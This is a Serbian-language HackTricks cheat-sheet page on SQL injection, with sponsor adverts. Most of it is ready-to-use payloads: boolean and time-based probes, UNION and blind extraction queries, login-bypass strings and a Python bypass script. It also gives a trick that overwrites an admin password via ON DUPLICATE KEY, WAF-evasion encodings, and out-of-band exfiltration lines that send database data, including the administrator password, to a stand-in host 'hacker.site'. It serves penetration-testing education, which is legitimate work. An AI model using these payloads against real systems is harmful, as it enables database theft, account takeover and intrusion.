SQL Injection

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

​​​​RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo okupljanje za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.

Šta je SQL injekcija?

SQL injekcija je sigurnosna greška koja omogućava napadačima da ometaju upite baze podataka aplikacije. Ova ranjivost može omogućiti napadačima da vide, modifikuju ili obrišu podatke kojima ne bi trebali imati pristup, uključujući informacije drugih korisnika ili bilo koje podatke kojima aplikacija može pristupiti. Takve akcije mogu rezultirati trajnim promenama u funkcionalnosti ili sadržaju aplikacije ili čak kompromitovanjem servera ili uskraćivanjem usluge.

Detekcija ulazne tačke

Kada se čini da je sajt ranjiv na SQL injekciju (SQLi) zbog neobičnih odgovora servera na SQLi povezane ulaze, prvi korak je razumeti kako ubaciti podatke u upit bez ometanja. To zahteva identifikaciju metode za efikasno izlazak iz trenutnog konteksta. Ovo su neki korisni primeri:

[Nothing]
'
"
`
')
")
`)
'))
"))
`))

Zatim, treba da znate kako da popravite upit tako da ne bude grešaka. Da biste popravili upit, možete uneti podatke tako da prethodni upit prihvati nove podatke, ili možete jednostavno uneti svoje podatke i dodati simbol komentara na kraju.

Napomena: ako možete da vidite poruke o grešci ili primetite razlike kada upit radi i kada ne radi, ova faza će biti lakša.

Komentari

MySQL
#comment
-- comment     [Note the space after the double dash]
/*comment*/
/*! MYSQL Special SQL */

PostgreSQL
--comment
/*comment*/

MSQL
--comment
/*comment*/

Oracle
--comment

SQLite
--comment
/*comment*/

HQL
HQL does not support comments

Potvrđivanje logičkim operacijama

Pouzdana metoda za potvrđivanje SQL injection ranjivosti uključuje izvršavanje logičke operacije i posmatranje očekivanih rezultata. Na primer, GET parametar kao što je ?username=Peter koji daje identičan sadržaj kada se izmeni u ?username=Peter' or '1'='1 ukazuje na SQL injection ranjivost.

Slično tome, primena matematičkih operacija služi kao efikasna tehnika potvrđivanja. Na primer, ako pristupanje ?id=1 i ?id=2-1 daje isti rezultat, to je indikativno za SQL injection.

Primeri koji prikazuju potvrđivanje logičke operacije:

page.asp?id=1 or 1=1 -- results in true
page.asp?id=1' or 1=1 -- results in true
page.asp?id=1" or 1=1 -- results in true
page.asp?id=1 and 1=2 -- results in false

Ova lista reči je kreirana da pokuša da potvrdi SQLinjections na predloženi način:

811B
sqli-logic.txt

Potvrđivanje sa vremenom

U nekim slučajevima nećete primetiti nikakvu promenu na stranici koju testirate. Stoga, dobar način da otkrijete slepe SQL injekcije je da naterate DB da izvrši radnje koje će imati uticaj na vreme koje je potrebno stranici da se učita. Stoga, u SQL upitu ćemo dodati operaciju koja će potrajati dugo da se završi:

MySQL (string concat and logical ops)
1' + sleep(10)
1' and sleep(10)
1' && sleep(10)
1' | sleep(10)

PostgreSQL (only support string concat)
1' || pg_sleep(10)

MSQL
1' WAITFOR DELAY '0:0:10'

Oracle
1' AND [RANDNUM]=DBMS_PIPE.RECEIVE_MESSAGE('[RANDSTR]',[SLEEPTIME])
1' AND 123=DBMS_PIPE.RECEIVE_MESSAGE('ASD',10)

SQLite
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))

U nekim slučajevima funkcije spavanja neće biti dozvoljene. Tada, umesto korišćenja tih funkcija, možete napraviti upit koji izvodi složene operacije koje će trajati nekoliko sekundi. Primeri ovih tehnika biće komentarisani posebno za svaku tehnologiju (ako ih ima).

Identifikacija Back-end-a

Najbolji način da identifikujete back-end je pokušaj izvršavanja funkcija različitih back-end-ova. Možete koristiti sleep funkcije iz prethodnog odeljka ili ove (tabela iz payloadsallthethings:

["conv('a',16,2)=conv('a',16,2)"                   ,"MYSQL"],
["connection_id()=connection_id()"                 ,"MYSQL"],
["crc32('MySQL')=crc32('MySQL')"                   ,"MYSQL"],
["BINARY_CHECKSUM(123)=BINARY_CHECKSUM(123)"       ,"MSSQL"],
["@@CONNECTIONS>0"                                 ,"MSSQL"],
["@@CONNECTIONS=@@CONNECTIONS"                     ,"MSSQL"],
["@@CPU_BUSY=@@CPU_BUSY"                           ,"MSSQL"],
["USER_ID(1)=USER_ID(1)"                           ,"MSSQL"],
["ROWNUM=ROWNUM"                                   ,"ORACLE"],
["RAWTOHEX('AB')=RAWTOHEX('AB')"                   ,"ORACLE"],
["LNNVL(0=123)"                                    ,"ORACLE"],
["5::int=5"                                        ,"POSTGRESQL"],
["5::integer=5"                                    ,"POSTGRESQL"],
["pg_client_encoding()=pg_client_encoding()"       ,"POSTGRESQL"],
["get_current_ts_config()=get_current_ts_config()" ,"POSTGRESQL"],
["quote_literal(42.5)=quote_literal(42.5)"         ,"POSTGRESQL"],
["current_database()=current_database()"           ,"POSTGRESQL"],
["sqlite_version()=sqlite_version()"               ,"SQLITE"],
["last_insert_rowid()>1"                           ,"SQLITE"],
["last_insert_rowid()=last_insert_rowid()"         ,"SQLITE"],
["val(cvar(1))=1"                                  ,"MSACCESS"],
["IIF(ATN(2)>0,1,0) BETWEEN 2 AND 0"               ,"MSACCESS"],
["cdbl(1)=cdbl(1)"                                 ,"MSACCESS"],
["1337=1337",   "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],
["'i'='i'",     "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"],

Takođe, ako imate pristup izlazu upita, mogli biste da prikazujete verziju baze podataka.

U nastavku ćemo razgovarati o različitim metodama za iskorišćavanje različitih vrsta SQL Injection. Koristićemo MySQL kao primer.

Identifikacija sa PortSwigger

Iskorišćavanje zasnovano na Uniji

Otkrivanje broja kolona

Ako možete da vidite izlaz upita, ovo je najbolji način da ga iskoristite. Prvo, treba da saznamo broj kolona koje početni zahtev vraća. To je zato što oba upita moraju vraćati isti broj kolona. Dve metode se obično koriste u tu svrhu:

Order/Group by

Da biste odredili broj kolona u upitu, postepeno prilagodite broj korišćen u ORDER BY ili GROUP BY klauzulama dok ne dobijete lažan odgovor. I pored različitih funkcionalnosti GROUP BY i ORDER BY unutar SQL-a, oboje se mogu koristiti identično za utvrđivanje broja kolona upita.

1' ORDER BY 1--+    #True
1' ORDER BY 2--+    #True
1' ORDER BY 3--+    #True
1' ORDER BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True
1' GROUP BY 1--+    #True
1' GROUP BY 2--+    #True
1' GROUP BY 3--+    #True
1' GROUP BY 4--+    #False - Query is only using 3 columns
#-1' UNION SELECT 1,2,3--+    True

UNION SELECT

Izaberite sve više i više null vrednosti dok upit ne bude tačan:

1' UNION SELECT null-- - Not working
1' UNION SELECT null,null-- - Not working
1' UNION SELECT null,null,null-- - Worked

Trebalo bi da koristite null vrednosti jer u nekim slučajevima tipovi kolona sa obe strane upita moraju biti isti i null je validan u svakom slučaju.

Izvlačenje imena baza podataka, imena tabela i imena kolona

U sledećim primerima ćemo preuzeti ime svih baza podataka, ime tabele u bazi podataka, imena kolona tabele:

#Database names
-1' UniOn Select 1,2,gRoUp_cOncaT(0x7c,schema_name,0x7c) fRoM information_schema.schemata

#Tables of a database
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,table_name,0x7C) fRoM information_schema.tables wHeRe table_schema=[database]

#Column names
-1' UniOn Select 1,2,3,gRoUp_cOncaT(0x7c,column_name,0x7C) fRoM information_schema.columns wHeRe table_name=[table name]

Postoji različit način za otkrivanje ovih podataka na svakoj različitoj bazi podataka, ali metodologija je uvek ista.

Iskorišćavanje skrivenog unija

Kada je izlaz upita vidljiv, ali se čini da unija zasnovana na injekciji nije moguća, to označava prisustvo skrivene unije zasnovane na injekciji. Ova situacija često dovodi do slepe injekcije. Da bi se slepa injekcija pretvorila u onu zasnovanu na uniji, potrebno je razjasniti izvršni upit na backendu.

To se može postići korišćenjem tehnika slepe injekcije zajedno sa podrazumevanim tabelama specifičnim za vaš ciljani sistem za upravljanje bazama podataka (DBMS). Za razumevanje ovih podrazumevanih tabela, savetuje se konsultacija sa dokumentacijom ciljanog DBMS-a.

Kada je upit izvučen, potrebno je prilagoditi svoj payload kako bi se sigurno zatvorio originalni upit. Nakon toga, unija upit se dodaje vašem payload-u, olakšavajući iskorišćavanje novonastale unije zasnovane na injekciji.

Za sveobuhvatnije uvide, pogledajte ceo članak dostupan na Healing Blind Injections.

Iskorišćavanje zasnovano na grešci

Ako iz nekog razloga ne možete da vidite izlaz upita ali možete videti poruke o grešci, možete iskoristiti ove poruke o grešci da izvučete podatke iz baze podataka. Prateći sličan tok kao u iskorišćavanju zasnovanom na uniji, mogli biste uspeti da dump-ujete DB.

(select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1))

Iskorišćavanje Blind SQLi

U ovom slučaju ne možete videti rezultate upita ili greške, ali možete razlikovati kada upit vraća tačan ili netačan odgovor jer postoje različiti sadržaji na stranici. U ovom slučaju, možete iskoristiti to ponašanje da izvučete bazu podataka karakter po karakter:

?id=1 AND SELECT SUBSTR(table_name,1,1) FROM information_schema.tables = 'A'

Iskorišćavanje Error Blind SQLi

Ovo je ista situacija kao pre ali umesto da razlikujete između tačnog/lažnog odgovora iz upita, možete razlikovati između greške u SQL upitu ili ne (možda zato što HTTP server pada). Stoga, u ovom slučaju možete naterati SQL grešku svaki put kada tačno pogodite karakter:

AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- -

Eksploatacija SQLi zasnovanog na vremenu

U ovom slučaju nema načina da se razlikuje odgovor upita na osnovu konteksta stranice. Ali, možete učiniti da stranica duže učitava ako je pogodjeni karakter tačan. Već smo videli ovu tehniku u upotrebi ranije kako bismo potvrdili SQLi ranjivost.

1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')#

Stacked Queries

Možete koristiti stacked queries da izvršite više upita uzastopno. Imajte na umu da, iako se uzastopni upiti izvršavaju, rezultati se ne vraćaju aplikaciji. Stoga je ova tehnika prvenstveno korisna u vezi sa blind vulnerabilities gde možete koristiti drugi upit da pokrenete DNS upit, uslovnu grešku ili vremensko kašnjenje.

Oracle ne podržava stacked queries. MySQL, Microsoft i PostgreSQL ih podržavaju: QUERY-1-HERE; QUERY-2-HERE

Out of band Exploitation

Ako niti jedna metoda eksploatacije nije uspela, možete pokušati da naterate bazu podataka da ex-filtrira informacije na spoljni host koji kontrolišete. Na primer, putem DNS upita:

select load_file(concat('\\\\',version(),'.hacker.site\\a.txt'));

Izvanbandna eksfiltracija podataka putem XXE

a' UNION SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT password FROM users WHERE username='administrator')||'.hacker.site/"> %remote;]>'),'/l') FROM dual-- -

Automatizovana Eksploatacija

Proverite SQLMap Cheetsheat da biste iskoristili SQLi ranjivost sa sqlmap.

Tehničke specifične informacije

Već smo razgovarali o svim načinima za eksploataciju SQL Injection ranjivosti. Pronađite još nekoliko trikova zavisnih od tehnologije baze podataka u ovoj knjizi:

Ili ćete pronaći puno trikova vezanih za: MySQL, PostgreSQL, Oracle, MSSQL, SQLite i HQL u https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/SQL%20Injection

​​​​​RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo mesto okupljanja za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.

Zaobilaženje autentifikacije

Lista za pokušaj zaobilaženja funkcionalnosti prijavljivanja:

Login bypass List

Zaobilaženje autentifikacije pomoću sirovog heša

"SELECT * FROM admin WHERE pass = '".md5($password,true)."'"

Ova upit prikazuje ranjivost kada se MD5 koristi sa true za sirovi izlaz u proverama autentifikacije, čineći sistem podložnim SQL injekciji. Napadači mogu iskoristiti ovo kreiranjem ulaza koji, kada se hashiraju, proizvode neočekivane delove SQL komandi, što dovodi do neovlašćenog pristupa.

md5("ffifdyop", true) = 'or'6�]��!r,��b�
sha1("3fDf ", true) = Q�u'='�@�[�t�- o��_-!

Zaobilaženje autentifikacije pomoću injektovanog heša

admin' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055'

Preporučena lista:

Trebalo bi da koristite kao korisničko ime svaku liniju sa liste, a kao lozinku uvek: Pass1234. (Ovi payload-ovi su takođe uključeni u veliku listu pomenutu na početku ovog odeljka)

1KB
sqli-hashbypass.txt

GBK autentifikacija zaobilaženje

AKO je ' escapovan, možete koristiti %A8%27, a kada ' bude escapovan, biće kreirano: 0xA80x5c0x27 (╘')

%A8%27 OR 1=1;-- 2
%8C%A8%27 OR 1=1-- 2
%bf' or 1=1 -- --

Python skripta:

import requests
url = "http://example.com/index.php"
cookies = dict(PHPSESSID='4j37giooed20ibi12f3dqjfbkp3')
datas = {"login": chr(0xbf) + chr(0x27) + "OR 1=1 #", "password":"test"}
r = requests.post(url, data = datas, cookies=cookies, headers={'referrer':url})
print r.text

Polyglot injection (multicontext)

SLEEP(1) /*' or SLEEP(1) or '" or SLEEP(1) or "*/

Insert Statement

Izmena lozinke postojećeg objekta/korisnika

Da biste to uradili, trebali biste pokušati da napravite novi objekat nazvan kao "master objekat" (verovatno admin u slučaju korisnika) modifikujući nešto:

  • Napravite korisnika pod imenom: AdMIn (velika i mala slova)

  • Napravite korisnika pod imenom: admin=

  • SQL Truncation Attack (kada postoji neka vrsta ograničenja dužine u korisničkom imenu ili emailu) --> Napravite korisnika sa imenom: admin [puno razmaka] a

SQL Truncation Attack

Ako je baza podataka ranjiva i maksimalan broj karaktera za korisničko ime je, na primer, 30, a želite da se pretvarate da ste korisnik admin, pokušajte da kreirate korisničko ime: "admin [30 razmaka] a" i bilo koju lozinku.

Baza podataka će proveriti da li uneto korisničko ime postoji unutar baze podataka. Ako ne, ona će skratiti korisničko ime na maksimalan dozvoljeni broj karaktera (u ovom slučaju na: "admin [25 razmaka]") i automatski će ukloniti sve razmake na kraju ažurirajući unutar baze podataka korisnika "admin" sa novom lozinkom (može se pojaviti neka greška, ali to ne znači da ovo nije uspelo).

Više informacija: https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html & https://resources.infosecinstitute.com/sql-truncation-attack/#gref

Napomena: Ovaj napad više neće raditi kao što je opisano iznad u najnovijim MySQL instalacijama. Dok poređenja i dalje ignorišu razmake na kraju po defaultu, pokušaj umetanja stringa koji je duži od dužine polja rezultiraće greškom, a umetanje će propasti. Za više informacija o ovoj provere: https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation

MySQL Insert time based checking

Dodajte koliko god ','','' smatrate da je potrebno da izađete iz VALUES izjave. Ako se izvrši kašnjenje, imate SQLInjection.

name=','');WAITFOR%20DELAY%20'0:0:5'--%20-

ON DUPLICATE KEY UPDATE

Klauzula ON DUPLICATE KEY UPDATE u MySQL-u se koristi za određivanje akcija koje baza podataka treba da preduzme kada se pokuša umetanje reda koji bi rezultirao duplom vrednošću u UNIQUE indeksu ili PRIMARY KEY-u. Sledeći primer pokazuje kako se ova funkcija može iskoristiti za modifikaciju lozinke administratorskog naloga:

Example Payload Injection:

Injekcioni payload može biti kreiran na sledeći način, gde se pokušava umetanje dva reda u tabelu users. Prvi red je mamac, a drugi red cilja postojeću email adresu administratora sa namerom da se ažurira lozinka:

INSERT INTO users (email, password) VALUES ("generic_user@example.com", "bcrypt_hash_of_newpassword"), ("admin_generic@example.com", "bcrypt_hash_of_newpassword") ON DUPLICATE KEY UPDATE password="bcrypt_hash_of_newpassword" -- ";

Evo kako to funkcioniše:

  • Upit pokušava da unese dva reda: jedan za generic_user@example.com i drugi za admin_generic@example.com.

  • Ako red za admin_generic@example.com već postoji, ON DUPLICATE KEY UPDATE klauzula se aktivira, naređujući MySQL-u da ažurira polje password postojećeg reda na "bcrypt_hash_of_newpassword".

  • Kao rezultat, autentifikacija se može pokušati koristeći admin_generic@example.com sa lozinkom koja odgovara bcrypt hash-u ("bcrypt_hash_of_newpassword" predstavlja bcrypt hash nove lozinke, koji treba zameniti stvarnim hash-om željene lozinke).

Ekstrakcija informacija

Kreiranje 2 naloga u isto vreme

Kada pokušavate da kreirate novog korisnika, potrebni su korisničko ime, lozinka i email:

SQLi payload:
username=TEST&password=TEST&email=TEST'),('otherUsername','otherPassword',(select flag from flag limit 1))-- -

A new user with username=otherUsername, password=otherPassword, email:FLAG will be created

Korišćenje decimalnog ili heksadecimalnog

Sa ovom tehnikom možete izvući informacije kreirajući samo 1 nalog. Važno je napomenuti da ne morate komentarisati ništa.

Korišćenjem hex2dec i substr:

'+(select conv(hex(substr(table_name,1,6)),16,10) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

Da biste dobili tekst, možete koristiti:

__import__('binascii').unhexlify(hex(215573607263)[2:])

Koristeći hex i replace (i substr):

'+(select hex(replace(replace(replace(replace(replace(replace(table_name,"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

'+(select hex(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

#Full ascii uppercase and lowercase replace:
'+(select hex(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(substr(table_name,1,7),"j"," "),"k","!"),"l","\""),"m","#"),"o","$"),"_","%"),"z","&"),"J","'"),"K","`"),"L","("),"M",")"),"N","@"),"O","$$"),"Z","&&")) FROM information_schema.tables WHERE table_schema=database() ORDER BY table_name ASC limit 0,1)+'

​​​​​​RootedCON je najrelevantnija sajber bezbednosna manifestacija u Španiji i jedna od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo okupljanje za profesionalce u tehnologiji i sajber bezbednosti u svakoj disciplini.

Routed SQL injection

Routed SQL injection je situacija u kojoj upit koji se može injektirati nije onaj koji daje izlaz, već izlaz injektiranog upita ide u upit koji daje izlaz. (Iz rada)

Primer:

#Hex of: -1' union select login,password from users-- a
-1' union select 0x2d312720756e696f6e2073656c656374206c6f67696e2c70617373776f72642066726f6d2075736572732d2d2061 -- a

WAF Bypass

Početni zaobilaženja odavde

Zaobilaženje bez razmaka

No Space (%20) - zaobilaženje korišćenjem alternativa za razmake

?id=1%09and%091=1%09--
?id=1%0Dand%0D1=1%0D--
?id=1%0Cand%0C1=1%0C--
?id=1%0Band%0B1=1%0B--
?id=1%0Aand%0A1=1%0A--
?id=1%A0and%A01=1%A0--

No Whitespace - zaobilaženje korišćenjem komentara

?id=1/*comment*/and/**/1=1/**/--

No Whitespace - zaobilaženje korišćenjem zagrada

?id=(1)and(1)=(1)--

No commas bypass

No Comma - zaobilaženje korišćenjem OFFSET, FROM i JOIN

LIMIT 0,1         -> LIMIT 1 OFFSET 0
SUBSTR('SQL',1,1) -> SUBSTR('SQL' FROM 1 FOR 1).
SELECT 1,2,3,4    -> UNION SELECT * FROM (SELECT 1)a JOIN (SELECT 2)b JOIN (SELECT 3)c JOIN (SELECT 4)d

Generic Bypasses

Crna lista koristeći ključne reči - zaobići koristeći velika/mala slova

?id=1 AND 1=1#
?id=1 AnD 1=1#
?id=1 aNd 1=1#

Blacklist koristeći ključne reči bez obzira na velika i mala slova - zaobići koristeći ekvivalentni operator

AND   -> && -> %26%26
OR    -> || -> %7C%7C
=     -> LIKE,REGEXP,RLIKE, not < and not >
> X   -> not between 0 and X
WHERE -> HAVING --> LIMIT X,1 -> group_concat(CASE(table_schema)When(database())Then(table_name)END) -> group_concat(if(table_schema=database(),table_name,null))

Bypass WAF pomoću naučne notacije

Možete pronaći detaljnije objašnjenje ove trik u gosecure blog. U suštini, možete koristiti naučnu notaciju na neočekivane načine da zaobiđete WAF:

-1' or 1.e(1) or '1'='1
-1' or 1337.1337e1 or '1'='1
' or 1.e('')=

Bypass Column Names Restriction

Prvo, primetite da ako originalni upit i tabela iz koje želite da izvučete zastavicu imaju istu količinu kolona možete jednostavno uraditi: 0 UNION SELECT * FROM flag

Moguće je pristupiti trećoj koloni tabele bez korišćenja njenog imena koristeći upit poput sledećeg: SELECT F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;, tako da bi u sqlinjection ovo izgledalo ovako:

# This is an example with 3 columns that will extract the column number 3
-1 UNION SELECT 0, 0, 0, F.3 FROM (SELECT 1, 2, 3 UNION SELECT * FROM demo)F;

Ili korišćenjem comma bypass:

# In this case, it's extracting the third value from a 4 values table and returning 3 values in the "union select"
-1 union select * from (select 1)a join (select 2)b join (select F.3 from (select * from (select 1)q join (select 2)w join (select 3)e join (select 4)r union select * from flag limit 1 offset 5)F)c

Ova trik je preuzet sa https://secgroup.github.io/2017/01/03/33c3ctf-writeup-shia/

WAF bypass suggester tools

Ostali vodiči

Lista za detekciju Brute-Force

​​​​​​​RootedCON je najrelevantnija cybersecurity događaj u Španiji i jedan od najvažnijih u Evropi. Sa misijom promovisanja tehničkog znanja, ovaj kongres je vrelo okupljalište za profesionalce u tehnologiji i cybersecurity u svakoj disciplini.

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Podrška HackTricks

Last updated